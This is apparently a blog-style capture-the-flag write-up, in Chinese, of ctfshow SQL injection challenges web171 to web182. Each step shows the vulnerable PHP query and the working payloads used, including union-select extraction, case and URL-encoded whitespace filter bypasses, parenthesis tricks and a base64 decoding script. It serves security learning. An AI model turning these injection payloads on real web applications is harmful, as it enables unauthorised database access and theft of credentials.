ctfshow sql注入系列1

这个系列题有点多,就10个一篇文章

目录

web171:

web172:

web173:

web174:

web175:

web176:

web177:

web178:

web179:

web180:

web181:

web182:


web171:

 仔细观察这个查询语句,发现有一个username != 'flag' ,他不让我干什么,我就干什么,我给他一个拼接是id传入

$sql = "select username,password from user where username !='flag' and id = '".$_GET['拼接的位置']."' limit 1;";

首先要把前面的单引号语句给忽悠过去,就有 1' 进行忽悠,然后就是我们要进行查询的语句了,他不让我们查flag,哪我就查flag,但是后面已经有单引号了,那我们就忽略一个单引号

1' or username = 'flag

web172:

撸猫界面,上面有选项,进来就是查询语句

 主要是构造sql注入语句

$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

 原先我是想着把后面的注释用我写的语句查就完了,但是好像注释掉就会出错,所以注释就行不同

原先的注入:

1' union all select username,password from ctfshow_user2 where username='flag'";#

 但是后来把后面的删掉后他就上面都没显示,一看上面还有过滤加一个就不会了,看了大佬的wp,加了一个函数upperctfshow sql注入系列1_第1张图片

加上后发现还是flag,看自己构造的语句,发现id=1时是有数据的,他就卡在前面不忘后面来,就选一个没有id的,就这样

0' union select UPPER(username),password from ctfshow_user2 where username = 'flag

web173:

代码:

ctfshow sql注入系列1_第2张图片

json_encode()是进行json编码

要用到注释,mysql注释有几种

#,-- (要空格),/**/

先尝试写一个payload,让他只执行我的语句,就要把后面的注释掉:

0' union select id,username,password from ctfshow_user3 -- 

发现没有flag,看了条件,把flag过滤了,猜测flag是用户那一列,select查询会更改列名为你查询的列名像这样ctfshow sql注入系列1_第3张图片

所以就有:

0' union select id,2,password from ctfshow_user3 -- 

flag就出来了

web174:

大佬的链接:CTFshow之web171~180---SQL注入(1)_ctfshow web174_金 帛的博客-CSDN博客

代码:

ctfshow sql注入系列1_第4张图片

发现把0-9过滤了,那么flag就不能直接查询出来了。要用到字符串转换。看了大佬的wp是直接用re进行替换。把flag中的数字进行字母转换,然后就把转换后的字符串转换出来了

后面就是把这个转换出来的字符串进行解码

这是大佬的payload:

-1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),"1","@A"),"2","@B"),"3","@C"),"4","@D"),"5","@E"),"6","@F"),"7","@G"),"8","@H"),"9","@I"),"0","@J") from ctfshow_user4 where username = 'flag' --+

 大佬的脚本:

import base64
 
flag64 = " "
 
flag = flag64.replace("@A", "1").replace("@B", "2").replace("@C", "3").replace("@D", "4").replace("@E", "5").replace("@F", "6").replace("@G", "7").replace("@H", "8").replace("@I", "9").replace("@J", "0")
 
print(base64.b64decode(flag))

就出来flag了

web175:

要用到时间盲注,还不怎么会就不发出来了

web176:

代码:

ctfshow sql注入系列1_第5张图片

题目提示有过滤了,先试试过滤的是什么,

mysql是不区分大小写的,我先试试全小写发现,select被过滤了,把select大写就能过去了

这是我自己写的payload:

0 ' union Select 1,2,password from ctfshow_user -- +

大佬的payload:
 

0' union Select 1,2,group_concat(password) from ctfshow_user where username = 'flag' --+

函数注释:

ctfshow sql注入系列1_第6张图片

大致就是返回同组的值

web177:

上一题的不能用了,先试试怎么把过滤的字符调出来

ctfshow sql注入系列1_第7张图片

我都把所有字符进行大写了,发现还是不行

尝试把分隔符进行更换 %20也不行 又尝试进行注释分隔/**/,发现行不通,看来大佬的wp发现,思路什么都是对的,就是没想到注释,用%23就能过

web178:

上一题是把空格过滤了,保险起见这题我们也把/**/换了,我还专门去找了url的编码表来一个一个试

url编码表链接:https://www.cnblogs.com/cainiao-chuanqi/p/13522239.html

然后把空的上上去就能试出来了,这题就是把/**/屏蔽了

web179:

和上一题一样的做法换一个编码表就完了

web180:

坐半天没想出来哪里被屏蔽了看了一眼大佬的wp,发现%23被过滤了。这就没办法了#被过滤了,空格还被过滤了。这就只能搞闭合了

$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

要前后闭合的话,就要他只回显一个数据,要不然就会被后面的关键词给挡住

在上一题的基础上

'%0cUnion%0cSelect%0c1,2,password%0cFrom%0cctfshow_user
进行闭环,构造唯一一个
%0cWhere%0cusername='flag'%0cor%0c'1'='#后面的主要都是和查询语句进行闭合,唯一性的是falg的字段
最后是这样
'%0cUnion%0cSelect%0c1,2,password%0cFrom%0cctfshow_user%0cWhere%0cusername='flag'%0cor%0c'1'='

获得flag

web181:

代码:ctfshow sql注入系列1_第8张图片

把上面过滤的放在url编码表里面看,发现好多东西都被屏蔽了。尝试进行续写

payload:

'%0cor%0cusername='flag

因为基础的字符都进行过滤,所以还要放到代码里面去把空格什么的进行替换

附带python替换代码:

payload = "’ or username='falg"#原先的语句
print(payload.replace(" ","%0c"))#替换的字符

放进去flag就能出来,因为只能有一个,要加上限定条件

web182:

代码:

ctfshow sql注入系列1_第9张图片

 把所有空格的替换全屏蔽了,只能用大佬说的括号

这是Y4tacker师傅的payload:

'or(id=26)and'1'='1

使用括号可以不用空格

你可能感兴趣的:(sql,java,数据库)